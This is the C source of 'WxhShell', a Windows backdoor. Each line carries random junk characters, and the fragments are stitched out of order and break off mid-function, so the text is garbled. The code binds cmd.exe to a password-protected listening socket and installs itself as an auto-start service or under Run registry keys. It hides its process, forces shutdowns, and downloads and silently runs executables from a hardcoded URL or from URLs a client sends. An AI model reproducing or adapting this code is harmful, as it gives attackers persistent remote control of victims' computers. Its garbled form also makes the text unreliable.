    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Xa ;wx3]t  
    if(Boot(SHUTDOWN)) "7Kw]8mRR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &"T7KXx  
    else { IIXA)b!  
    closesocket(wsh); &,Loqr  
    ExitThread(0); [J eq ?X9  
    } 5S&Qj7kr  
    break; QKvaTy#  
    } uX{g4#eG  
  // 获取shell TPkP5w  
  case 's': { A~k: m0MX  
    CmdShell(wsh); 7TypzgXNe  
    closesocket(wsh);  vmfFR  
    ExitThread(0); [4B (rra  
    break; vfhoN]v  
  } =c#mR" 1  
  // 退出 |t3}>+"?z  
  case 'x': { g}hNsU=$5~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +gBD E :  
    CloseIt(wsh); u| "YS-dH  
    break; `O.pT{Lf  
    } rij%l+%@#  
  // 离开 ~mah.8G  
  case 'q': { 'aD"v>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <j#IR  
    closesocket(wsh); CV{ZoY  
    WSACleanup(); :U'n0\  
    exit(1); O)&ME  
    break; uP8 cW([  
        } k`[>B k%b  
  } P$AHw;n[R  
  } }waZGJLN  
<.BY=z=H  
  // 提示信息 `2V{]F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Iw#[K  
} <bhJ>  
  } >nK (  
RASk=B  
  return; RCK*?\m5  
} Y}yh6r;i  
3w[uc~f  
// shell模块句柄 |@R/JGB^  
int CmdShell(SOCKET sock) &lzCRRnvt  
{ tN.BI1nB  
STARTUPINFO si; ,5t_}d|3C=  
ZeroMemory(&si,sizeof(si)); g}9heR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [6.<#_~{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #zSNDv`  
PROCESS_INFORMATION ProcessInfo; h.- o$+Sa  
char cmdline[]="cmd"; =bvLMpa  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qf [J-"o  
  return 0; vt(n: Xk  
} c1*^ \   
"8(8]GgYx  
// 自身启动模式 XIM?$p^  
int StartFromService(void) YxU->Wi]G  
{ ci 22fw0  
typedef struct m<cv3dbZo  
{ Xfg?\j/  
  DWORD ExitStatus; ^y|`\oyqwN  
  DWORD PebBaseAddress; =ty{ugM<  
  DWORD AffinityMask; L!ms{0rJ  
  DWORD BasePriority; * "?,.  
  ULONG UniqueProcessId; OMYbCy^  
  ULONG InheritedFromUniqueProcessId; NW21{}=4  
}   PROCESS_BASIC_INFORMATION; )B~{G\jS  
f|s,%AU"i  
PROCNTQSIP NtQueryInformationProcess; 7(LB}  
OH 88d:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5Go@1X]I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wb]Z4/j#  
yB;K|MXy?  
  HANDLE             hProcess; $3970ni,?O  
  PROCESS_BASIC_INFORMATION pbi; ;\/ RgN  
= P$7 "  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0\"]XYOH  
  if(NULL == hInst ) return 0; < r b5'  
+tYskx/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &oK&vgcj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jcxeXp|00  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); su8()]|0x  
[e:ccm  
  if (!NtQueryInformationProcess) return 0; [,z>msEB.  
l]IQjjJ`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kCoEdQ_  
  if(!hProcess) return 0; ah!RQ2hDrV  
2&o3OKt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }72+i  
r6 pz(rCs}  
  CloseHandle(hProcess); SvQj'5~<  
^Ri ; vM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A_J!VXq  
if(hProcess==NULL) return 0; L9z5o(Aa  
o O1Fw1Y  
HMODULE hMod; i^}DIx{  
char procName[255]; :pP l|"  
unsigned long cbNeeded; $f6wmI;<y  
 ~}K$z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q\fai^_  
#CB`7 }jq  
  CloseHandle(hProcess); ;,B $lgF  
0qN?4h)7  
if(strstr(procName,"services")) return 1; // 以服务启动 Thp!X/2O`  
8&#)}A}x  
  return 0; // 注册表启动 ^p\n/#B  
} M>jk"*hA|  
0IbR>zFg.  
// 主模块 <a D}Ko(  
int StartWxhshell(LPSTR lpCmdLine) If@%^'^ON=  
{ R&L^+?  
  SOCKET wsl; il:RE8  
BOOL val=TRUE; CX>QP&Gj  
  int port=0; dJmr!bN\;  
  struct sockaddr_in door; Gii1|pLZ1  
~NwX,-ri  
  if(wscfg.ws_autoins) Install(); 6 &MATMR  
+[=%W  
port=atoi(lpCmdLine); Jn1(-  
{,o =K4CD  
if(port<=0) port=wscfg.ws_port; QPz3IK%   
t^<ki?*  
  WSADATA data; Q\Nz^~dQ:Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >xm:?WR  
9J f.Ls  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <\5E{/7Tl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "3uPK$  
  door.sin_family = AF_INET; SBG.t:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Lq5Eu$;r  
  door.sin_port = htons(port); zT _[pa)O`  
T_4y;mf!@O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rqi|8gKY  
closesocket(wsl); 9$N~OZ;-*x  
return 1; ?_G?SQ  
} qMmhmH)Gp  
1n+JHXR\  
  if(listen(wsl,2) == INVALID_SOCKET) { l Gy`{E|  
closesocket(wsl); dWDf(SS  
return 1; }!5+G:JAh  
} ]1i1_AR'`  
  Wxhshell(wsl); XZ1<sm8t."  
  WSACleanup(); UP e@>  
|gJI}"T  
return 0; <a$'tw-8  
uI_h__  
} lEiOE]  
]`O??wN  
// 以NT服务方式启动 WH0$v#8`v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) . ^JsnP  
{ *bTR0U  
DWORD   status = 0; `1U?^9Nf  
  DWORD   specificError = 0xfffffff; vKcc|#  
ZNTOI]P&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H{fOAv1*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W*NK-F[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Bis'59?U_  
  serviceStatus.dwWin32ExitCode     = 0; `]l*H3+hg  
  serviceStatus.dwServiceSpecificExitCode = 0; R"k}wRnxY  
  serviceStatus.dwCheckPoint       = 0; SRpPLY{:F  
  serviceStatus.dwWaitHint       = 0; %DF-;M"8  
C\C*'l6d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Qo \;)  
  if (hServiceStatusHandle==0) return; 3/?{= {  
$56Z/*  
status = GetLastError(); !TdbD56  
  if (status!=NO_ERROR) *mj3  T  
{ N13wVx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v`KYhqTUl  
    serviceStatus.dwCheckPoint       = 0; \>GHc}  
    serviceStatus.dwWaitHint       = 0; *u`[2xmuYf  
    serviceStatus.dwWin32ExitCode     = status; o+.LG($+U  
    serviceStatus.dwServiceSpecificExitCode = specificError; v6_fF5N/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9)]asY  
    return; ~xP4}gs1  
  } 0 P-eC|0  
 C%\.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p$OkWSi~  
  serviceStatus.dwCheckPoint       = 0; f<aJiVP  
  serviceStatus.dwWaitHint       = 0; ^SH8*7l7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Dwp-*QK^G  
} 2<' 1m{  
BD (  
// 处理NT服务事件,比如:启动、停止 @ wJ|vW_.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j_2yTz"G-  
{ zd+<1R;  
switch(fdwControl) | ?])]F  
{ CHX- 4-84{  
case SERVICE_CONTROL_STOP: 982n G-"  
  serviceStatus.dwWin32ExitCode = 0; a jyuk@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TbPTgE *  
  serviceStatus.dwCheckPoint   = 0; tHV81F1J  
  serviceStatus.dwWaitHint     = 0; b63tjqk  
  { 5t&;>-A'?'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rr/sxR|0_  
  } Fj~,>   
  return;  W .t`  
case SERVICE_CONTROL_PAUSE: vfZ.js/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LU7d\Ch  
  break; z7'C;I  
case SERVICE_CONTROL_CONTINUE: 1'{A,!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BVk&TGa;[$  
  break; 'qT[,iQ  
case SERVICE_CONTROL_INTERROGATE: 9 EqU 2~  
  break; 1:r8p6  
}; P7`sJ("#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); */JMPw&  
} Y &"rf   
TUV&9wKXo  
// 标准应用程序主函数 bx&?EUx+b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ndU<,{r  
{  UX& ?^]  
bzt(;>_8  
// 获取操作系统版本 P5^<c\Mr,Y  
OsIsNt=GetOsVer(); C0$KpUB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); D[ -Gzqh  
p Y[dJxB  
  // 从命令行安装 c8cPGm#i  
  if(strpbrk(lpCmdLine,"iI")) Install(); vUU)zZB ~  
@L ,hA v ^  
  // 下载执行文件 4)XZ'~|  
if(wscfg.ws_downexe) { SZ[ ,(h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =5jng.  
  WinExec(wscfg.ws_filenam,SW_HIDE); lQSKY}h  
} )LP=IT  
93aRWEu3  
if(!OsIsNt) { `/0S]?a.{B  
// 如果时win9x,隐藏进程并且设置为注册表启动  ;Iu}Q-b*  
HideProc(); ,J3s1 ]~^  
StartWxhshell(lpCmdLine); <.yL&$9  
} ..g?po  
else ,xeJf6es  
  if(StartFromService()) ;$Q&2}L[  
  // 以服务方式启动 DiLZ5^`]  
  StartServiceCtrlDispatcher(DispatchTable); [aF^D;o  
else mDT"%I"4j  
  // 普通方式启动 n%J {Tcn6  
  StartWxhshell(lpCmdLine); bm+ #OI  
E0Y>2HOuL  
return 0; xy$agt>j>  
} KiDL]2  
 ta\CZp  
k15B5  
iVg3=R)[1  
=========================================== p*_^JU(<p  
ksB-fOv*N  
a2MFZe  
im6Rx=}E{  
@FBlF$vG  
0+]ol:i  
" K~ 6[zJ4  
y)B>g/Hoh  
#include <stdio.h> *)6:yn  
#include <string.h> O~1vX9  
#include <windows.h> ).BZPyV<  
#include <winsock2.h> ~$O.KF:  
#include <winsvc.h> #:y h2y7a%  
#include <urlmon.h> X?'v FC  
(rM-~h6g  
#pragma comment (lib, "Ws2_32.lib") }?0At<(d  
#pragma comment (lib, "urlmon.lib") 4*K~6Vh  
5w# Ceg9  
#define MAX_USER   100 // 最大客户端连接数 2tq~NA\#t  
#define BUF_SOCK   200 // sock buffer Kn !n}GtR  
#define KEY_BUFF   255 // 输入 buffer 8 )W{&#C>  
?%RN? O(  
#define REBOOT     0   // 重启 VX!UT=;  
#define SHUTDOWN   1   // 关机 F"k.1.  
?Z ]5 [  
#define DEF_PORT   5000 // 监听端口 |@a.dgz,  
/i${[1  
#define REG_LEN     16   // 注册表键长度 c%N8|!e  
#define SVC_LEN     80   // NT服务名长度 P}AfXgr  
HX(Z(rcI  
// 从dll定义API m|}};8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :UMtknV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oY#62&wk4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {Gd<+tQg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _qZ?|;o^  
HFr#Ql>g  
// wxhshell配置信息 =Qa*-*  
struct WSCFG { %SHjJCS3  
  int ws_port;         // 监听端口 yt+"\d  
  char ws_passstr[REG_LEN]; // 口令  t dl Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?G48GxJ  
  char ws_regname[REG_LEN]; // 注册表键名 Y 0f"}A1  
  char ws_svcname[REG_LEN]; // 服务名 vU X(h.}8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \ nIz5J}3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nMniHB'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uEK9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no eq|G\XJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }3"FQ/6C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q9UBxpDV:  
:2qUel\PEC  
}; Zi0B$3iOb  
:KJG3j?   
// default Wxhshell configuration S-M| 6fv  
struct WSCFG wscfg={DEF_PORT, |m^qA](M  
    "xuhuanlingzhe", 80p?qe  
    1, z2Pnni7Ys  
    "Wxhshell", \5]${vs&s  
    "Wxhshell", MS Ml  
            "WxhShell Service", ?\ qfuA9.  
    "Wrsky Windows CmdShell Service", 'q#$^ ='o  
    "Please Input Your Password: ", 1nt VM+  
  1, cVg!"  
  "http://www.wrsky.com/wxhshell.exe", ,r&:C48 dI  
  "Wxhshell.exe" Eagl7'x  
    }; >O{[w'sWa  
7lo`)3mB  
// 消息定义模块 % |6t\[gn  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &I&:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *@XJ7G[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |Ew~3-u!  
char *msg_ws_ext="\n\rExit."; Z/|oCwR  
char *msg_ws_end="\n\rQuit."; "|2|Vju%  
char *msg_ws_boot="\n\rReboot..."; Zd~l_V f  
char *msg_ws_poff="\n\rShutdown..."; ^[7ZBmS  
char *msg_ws_down="\n\rSave to "; DE{tpN  
#s'UA!)  
char *msg_ws_err="\n\rErr!"; 7rc6  
char *msg_ws_ok="\n\rOK!"; w3,1ImrXp  
(1 L9K;  
char ExeFile[MAX_PATH]; ou r$Ka31  
int nUser = 0; H%!ED1zpA  
HANDLE handles[MAX_USER]; #B;~i6h]  
int OsIsNt; [7K-L6X  
ileqI/40f  
SERVICE_STATUS       serviceStatus; x1gfo!BN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F__(iXxC  
6D[m}/?Uy  
// 函数声明 1eg/<4]hA  
int Install(void); dG6 G  
int Uninstall(void); tWs ]Zd  
int DownloadFile(char *sURL, SOCKET wsh); 52*9q!  
int Boot(int flag); uxGY/Zf  
void HideProc(void); 2:31J4t-<  
int GetOsVer(void); X3C"A|HE9  
int Wxhshell(SOCKET wsl); /rKdxsI*  
void TalkWithClient(void *cs); 9WXJz;  
int CmdShell(SOCKET sock); ZyJdz+L{@V  
int StartFromService(void); IoEIT Kd  
int StartWxhshell(LPSTR lpCmdLine); //SH=>w2  
~1x,m.f8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DNARe!pK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZT UaF4k j  
&f}a`/{@  
// 数据结构和表定义 ~Rs_ep'+Q2  
SERVICE_TABLE_ENTRY DispatchTable[] = ! xU1[,9  
{ >~;MQDU5*Y  
{wscfg.ws_svcname, NTServiceMain}, X8F@U ^@  
{NULL, NULL} J! ;g.q  
}; T gpf0(  
/H_,1Fu|  
// 自我安装 '$5.{o`s*1  
int Install(void) N5 BC<pu  
{ 2>l =oXq  
  char svExeFile[MAX_PATH]; ? o@5PL  
  HKEY key; W`baD!*  
  strcpy(svExeFile,ExeFile); @a AR99M  
B8+J0jdg6%  
// 如果是win9x系统,修改注册表设为自启动 |5uvmK  
if(!OsIsNt) { <kQ 5sG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4!'1o`8vs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %M=[h2SN  
  RegCloseKey(key); Dg^n`[WO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R{s&6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P\;L#2n  
  RegCloseKey(key); tx$kD2  
  return 0; "}_b,5lkGK  
    } sFqLxSo_I  
  } ' `0kW_'  
} /az}<r8  
else { [>5<&[A  
p.{M sn  
// 如果是NT以上系统,安装为系统服务 r-M:YB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mWOW39Ku  
if (schSCManager!=0)  %2 A-u  
{ M2K{{pGJ[&  
  SC_HANDLE schService = CreateService E5a1 7ra  
  ( `6`p~  
  schSCManager, v-zi ,]W  
  wscfg.ws_svcname, ?hpT"N,hF9  
  wscfg.ws_svcdisp, \#LkzN8  
  SERVICE_ALL_ACCESS, cL31g_u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XCCh*qym  
  SERVICE_AUTO_START, m3Mo2};?  
  SERVICE_ERROR_NORMAL, 8(yZX4OH>  
  svExeFile, hu?Q,[+o  
  NULL, [E9V#J89  
  NULL, v'R{lXE  
  NULL, m5!~PG:_  
  NULL, ^/nj2"  
  NULL }ll&qb  
  ); W'aZw9  
  if (schService!=0) UKYQ @m  
  { Rne#z2Ok  
  CloseServiceHandle(schService); D?+\"lI  
  CloseServiceHandle(schSCManager); ~SI`%^L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !VaKq_W  
  strcat(svExeFile,wscfg.ws_svcname); 'q158x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F.zx]][JV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _|f1q  
  RegCloseKey(key); m:kXr^!D  
  return 0; YX A|1  
    } []i/\0C^  
  } {FYWQ!L  
  CloseServiceHandle(schSCManager); ;E Z5/"T  
} 9YpgzCx Z  
} bW"bkA80  
Wo&WO e  
return 1; =mVWfFL  
} 7_OC&hhL  
^!Y]l  
// 自我卸载 [i[*xf-B  
int Uninstall(void) #Tc]L<."  
{ a`c#- je  
  HKEY key; 4LG[i}u.N  
26SXuFJ@  
if(!OsIsNt) { $w,?%i97  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4Zz%vY  
  RegDeleteValue(key,wscfg.ws_regname); st- z>}  
  RegCloseKey(key); hv)>HU&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w}8 ,ICL  
  RegDeleteValue(key,wscfg.ws_regname); tcDWx:Q  
  RegCloseKey(key); t0*kL.  
  return 0; fQW1&lFT  
  } se|>P=/  
} 1M1|Wp  
} mS\ gh)<h  
else { LtIR)EtB]  
#Hn<4g"AjM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <WXGDCj  
if (schSCManager!=0) NCW<~   
{ L/ L#[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z7vc|Z|  
  if (schService!=0) 5j8aMnvs  
  { / .wO<l=  
  if(DeleteService(schService)!=0) { AnF"+<  
  CloseServiceHandle(schService); Sb2hM~  
  CloseServiceHandle(schSCManager); BiFU3FlTf  
  return 0; (/mR p  
  } m:6^yfS  
  CloseServiceHandle(schService); 1X8P v*,  
  } y4\(ynk  
  CloseServiceHandle(schSCManager); 0V RV. Ml  
} jHPkfwfAF  
} *B4?(&0  
'E\/H17  
return 1; .Us)YVbk  
} HZINsIm!?  
-_*ux!  
// 从指定url下载文件 7 KuUV!\h`  
int DownloadFile(char *sURL, SOCKET wsh) ~FP4JM,y6  
{ Kw%to9 eh)  
  HRESULT hr; @AB}r1E2  
char seps[]= "/"; CpE LLA<  
char *token; (DLk+N4UHA  
char *file; ?-Qq\D^+  
char myURL[MAX_PATH]; `EXo=Dqc  
char myFILE[MAX_PATH]; aru;yR  
N8[ &1  
strcpy(myURL,sURL); -dto46X  
  token=strtok(myURL,seps); WyA`V C  
  while(token!=NULL) V=i/cI\  
  { {yzo#"4Oy  
    file=token; |o@xWs@m  
  token=strtok(NULL,seps); Ub,5~I+`  
  } ,`pUz[wl  
n 3eLIA{  
GetCurrentDirectory(MAX_PATH,myFILE); MyZ5~jnr\  
strcat(myFILE, "\\"); &GfDo4$  
strcat(myFILE, file); N9dx^+\  
  send(wsh,myFILE,strlen(myFILE),0); >g>L>{  
send(wsh,"...",3,0); '?Jz8iu-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }'KHF0   
  if(hr==S_OK) vE~>9  
return 0; #+"1">l  
else ^)nIf)9}7  
return 1; *'-[J2  
We`6# \Z X  
} kC_Kb&Q0  
7&hhKEA  
// 系统电源模块 EXF|; @-"  
int Boot(int flag) Al MMN"j  
{ _:1s7EC  
  HANDLE hToken; tLE7s_^  
  TOKEN_PRIVILEGES tkp; ,q K'!  
On~w`  
  if(OsIsNt) { A{ a4;`}5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); al{}_1XoU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Nx;Oz  
    tkp.PrivilegeCount = 1; L^FQ|?*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z%q)}$O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \H4$9lPk  
if(flag==REBOOT) { V;LV),R?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b Y2:g )  
  return 0; ,k9xI<i  
} H3xMoSs  
else { u2E}DhV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  vWH)W?2  
  return 0; W^,(we  
} 9dO. ,U*`  
  } 7~qyz]KkE  
  else { Yq-Vwh/  
if(flag==REBOOT) { {9XN\v=$"*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?APCDZ^  
  return 0; &SW~4{n:  
} pwg\b  
else { ]<BT+6L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8b[<:{[YB  
  return 0; grxlGS~Q  
} sTu]C +A  
} -NPX;e$<  
;S?ei>Q  
return 1; "oT&KW   
} &?H`MCv t  
adtgNwg  
// win9x进程隐藏模块 %BwvA_T'Q  
void HideProc(void) M,vCAZ  
{ ZK4d;oa",  
7P bwCRg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TtWWq5X|  
  if ( hKernel != NULL ) W_L;^5Y;m  
  { Y`*h#{|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {nj`>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tiPZ.a~k  
    FreeLibrary(hKernel); 0TqIRUz "C  
  } Tl L,dPM  
FL[,?RU?2  
return; >aAsUL5W  
} \'6%Ld5km  
9>6?tb"f*H  
// 获取操作系统版本 ?$6(@>`f&t  
int GetOsVer(void) ] 1s6=  
{ Xd@ d$  
  OSVERSIONINFO winfo; v[4-?7-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f~?kx41dq  
  GetVersionEx(&winfo); J(5#fo{Q.g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T2}X~A  
  return 1; =<X4LO)C  
  else XC!Y {lp  
  return 0; f_z]kA +H  
} ] Jnrs  
W+i&!'  
// 客户端句柄模块 W.c>("gC  
int Wxhshell(SOCKET wsl) gLwrYG7@  
{ .|i/ a%J  
  SOCKET wsh; ig^x%!;  
  struct sockaddr_in client; ! JauMR  
  DWORD myID; Zg3 /,:1  
 ^+wA,r.  
  while(nUser<MAX_USER) ?h:xO\h8  
{ |~B`[p]5H  
  int nSize=sizeof(client); hz+c]K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z=be ki]  
  if(wsh==INVALID_SOCKET) return 1; =J`M}BBx  
`h~-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E/2_@&U:}  
if(handles[nUser]==0) `Krk<G  
  closesocket(wsh); y=2nV  
else bh+m_$X~  
  nUser++; pB0 SCS*  
  } OCu/w1 bc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g f<vQb|  
C$d b) 5-  
  return 0; 1fTf+P  
} ;NF:98  
!8|?0>3)  
// 关闭 socket K?Jo"oy7  
void CloseIt(SOCKET wsh) `(xzCRX  
{ ]VaMulb4  
closesocket(wsh); Uka(Vr:  
nUser--; qb$M.-\ne  
ExitThread(0); $U"pdf  
} W)AfXy  
:)F0~Q  
// 客户端请求句柄 '>GPk5Nq77  
void TalkWithClient(void *cs) Q[9W{l+  
{ _~ 3r*j  
p2hPLq  
  SOCKET wsh=(SOCKET)cs; ^@)*voP#G  
  char pwd[SVC_LEN]; Yo\%53w/  
  char cmd[KEY_BUFF]; }J6 y NoXu  
char chr[1]; $mxl&Qr>Q;  
int i,j; Zfd `Fu  
v,Z?pYYo  
  while (nUser < MAX_USER) { ) 3ZkKv;zY  
a28`)17z  
if(wscfg.ws_passstr) { [&)*jc16  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l6N"{iXU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SP;1XXlL  
  //ZeroMemory(pwd,KEY_BUFF); aWY#gI{  
      i=0; k{ulu  
  while(i<SVC_LEN) { & kQj)  
P"|-)d  
  // 设置超时 |Y30B,=M  
  fd_set FdRead; ^nLk{<D35  
  struct timeval TimeOut; ~&WBA]w'+  
  FD_ZERO(&FdRead); jxZ_-1  
  FD_SET(wsh,&FdRead); }Vfc;2  
  TimeOut.tv_sec=8; +&.39q !  
  TimeOut.tv_usec=0; 2L S91  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x,c\q$8yH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _opB,,G  
\"9ysePI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XdE|7=+s  
  pwd=chr[0]; U.1&'U*  
  if(chr[0]==0xd || chr[0]==0xa) { p3qKtMs0!  
  pwd=0; SmV}Wf  
  break; 'jYKfq~_cJ  
  } nq\~`vH|Gd  
  i++; rxOv YF  
    } HE-ErEtGB  
jpZ 7p ;  
  // 如果是非法用户,关闭 socket |<#yXSi  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l4y>uZ>a  
} Wu)An  
SqVh\Nn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ' /3\bvZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _pkmHj(  
A27!I+M  
while(1) { ^xq)Q?[{  
]'<"qY  
  ZeroMemory(cmd,KEY_BUFF); EME}G42KN  
|N|[E5Cn  
      // 自动支持客户端 telnet标准   - H`, ` #{  
  j=0; j rg B56LL  
  while(j<KEY_BUFF) { OpmPw4?}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G1:"Gxja  
  cmd[j]=chr[0]; ZeH=]G4Zv7  
  if(chr[0]==0xa || chr[0]==0xd) { ^2nH6,LPS  
  cmd[j]=0; %-an\.a.  
  break; cRSgP{hy  
  } 5>-~!Mg1  
  j++; 8COGe=+o  
    } tdNAR|  
G*g*+D[HM  
  // 下载文件 GK{~n  
  if(strstr(cmd,"http://")) { 1_> w|6;e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7|<-rjz^  
  if(DownloadFile(cmd,wsh)) o),@I#fM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G#3$sz  
  else q)N^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vAtR\ Vh  
  } -pQ0,/}K  
  else { h_B  nQZ\  
